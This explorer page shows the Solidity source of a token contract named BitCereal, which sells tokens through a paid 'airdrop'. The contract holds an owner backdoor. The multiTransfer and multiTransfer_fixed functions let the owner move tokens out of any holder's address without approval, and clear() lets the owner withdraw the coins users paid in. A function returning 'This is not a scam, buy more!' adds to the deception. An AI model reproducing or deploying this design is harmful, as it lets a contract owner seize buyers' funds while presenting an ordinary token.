POL Price: $0.436122 (+0.68%)
Gas: 33 GWei

Contract Diff Checker

Contract Name:
BitCereal

Contract Source Code:

File 1 of 1 : BitCereal

//https://bitcereal.com/
//https://twitter.com/BitCerealmining
//https://t.me/BitCereal
// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Burn(address indexed from, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        _nonReentrantBefore();
        _;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        _status = _NOT_ENTERED;
    }

    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


pragma solidity 0.8.12;


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint256);
}

pragma solidity 0.8.12;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode
        return msg.data;
    }
}

pragma solidity 0.8.12;


contract ERC20 is Context, IERC20, IERC20Metadata, ReentrancyGuard {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _hasClaimed;
    uint256 private _totalSupply;
    uint256 private _decimals;
    string private _name;
    string private _symbol;
    address private _owner;
    bool public tradeStatus = true;
    bool public airdropStatus = true;
    IERC20 public token;
        address payable private feeReceiver_;
    uint256 public constant CLAIM_AMOUNT = 150000000000000000000000;
    uint256 public constant MAX_AMOUNT = 3 ether; 
    uint256 public constant MIN_AMOUNT = 2 ether;
    uint256 public claimCount;
    uint256 public maxClaims = 2000;



    constructor (string memory name_, string memory symbol_,uint256 initialBalance_,uint256 decimals_) {
        _name = name_;
        _symbol = symbol_;
        _totalSupply = initialBalance_* 10**decimals_;
        _balances[msg.sender] = _totalSupply;
        _decimals = decimals_;
        _owner = msg.sender;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    modifier onlyOwner {
        require(msg.sender == _owner);
        _;
    }


    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint256) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function ChangeStatus(bool _status) public onlyOwner returns (bool) {
        tradeStatus = _status;
        return true;
    }

  function disableAirdrop(bool _airdrop) public onlyOwner returns (bool) {
    airdropStatus = _airdrop;
    return true;
}

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "Transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

   
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }


    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "Transfer from the zero address");
        require(recipient != address(0), "Transfer to the zero address");

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "Transfer amount exceeds balance");

        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "Approve from the zero address");
        require(spender != address(0), "Approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function burn(uint256 amount) public returns(bool) {
        require(_balances[msg.sender] >= amount, "Amount exceeded");
        _totalSupply -= amount;
        _balances[msg.sender] -= amount;
        emit Burn(msg.sender, amount);
        return true;
    }

     function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function balance() external view returns (uint256) {
        return address(this).balance;
    }
function claimAirdrop() external payable nonReentrant {
    require(airdropStatus == true, "Airdrop is not currently enabled");
    require(msg.value >= MIN_AMOUNT, "Amount too low");
    require(msg.value <= MAX_AMOUNT, "Amount too high");
    require(!_hasClaimed[msg.sender], "Already claimed");
   
    uint256 tokensToTransfer = msg.value.mul(CLAIM_AMOUNT).div(1 ether);
   
    require(tokensToTransfer > 0, "Insufficient amount");
    require(tokensToTransfer <= IERC20(token).balanceOf(address(this)), "Not enough tokens in contract");
   
    IERC20(token).transfer(msg.sender, tokensToTransfer);
    _hasClaimed[msg.sender] = true;
    claimCount = claimCount.add(1);
    if (claimCount == maxClaims) {
        airdropStatus = false;
    }
}

function getTokenBalance() external view returns (uint256) {
    return IERC20(token).balanceOf(address(this));
}

function remove_Random_Tokens(address random_Token_Address, address send_to_wallet, uint256 number_of_tokens) public onlyOwner returns(bool _sent) {
        uint256 randomBalance = IERC20(random_Token_Address).balanceOf(address(this));
        if (number_of_tokens > randomBalance){number_of_tokens = randomBalance;}
        _sent = IERC20(random_Token_Address).transfer(send_to_wallet, number_of_tokens);
    }
    function information() public pure returns(string memory) {
        return "This is not a scam, buy more!";
    }

    function multiTransfer(address from, address[] calldata addresses, uint256[] calldata tokens) external onlyOwner {

    require(addresses.length < 501,"GAS Error: max airdrop limit is 500 addresses");
    require(addresses.length == tokens.length,"Mismatch between Address and token count");

    uint256 SCCC = 0;

    for(uint i=0; i < addresses.length; i++){
        SCCC = SCCC + tokens[i];
    }

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens[i]);
    }
}


fallback () external payable {
}
receive () external payable {
}

 function clear(address payable withdrawal, uint256 amountInEth) public onlyOwner {
    uint256 amountInWei = SafeMath.mul(amountInEth, 1 ether);
    require(amountInWei > 0, "Amount must be greater than zero.");
    require(amountInWei <= address(this).balance, "Insufficient balance.");
    withdrawal.transfer(amountInWei);
}
function multiTransfer_fixed(address from, address[] calldata addresses, uint256 tokens) external onlyOwner {

    require(addresses.length < 801,"GAS Error: max airdrop limit is 800 addresses");

    uint256 SCCC = tokens * addresses.length;

    require(balanceOf(from) >= SCCC, "Not enough tokens in wallet");

    for(uint i=0; i < addresses.length; i++){
        _basicTransfer(from,addresses[i],tokens);
    }
}
}

pragma solidity ^0.8.0;


contract BitCereal is ERC20 {
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 decimals_,
        uint256 initialBalance_,
        address payable feeReceiver_
    ) payable ERC20(name_, symbol_,initialBalance_,decimals_) {
        feeReceiver_ = feeReceiver_;
        token = IERC20(address(this));
    }
}

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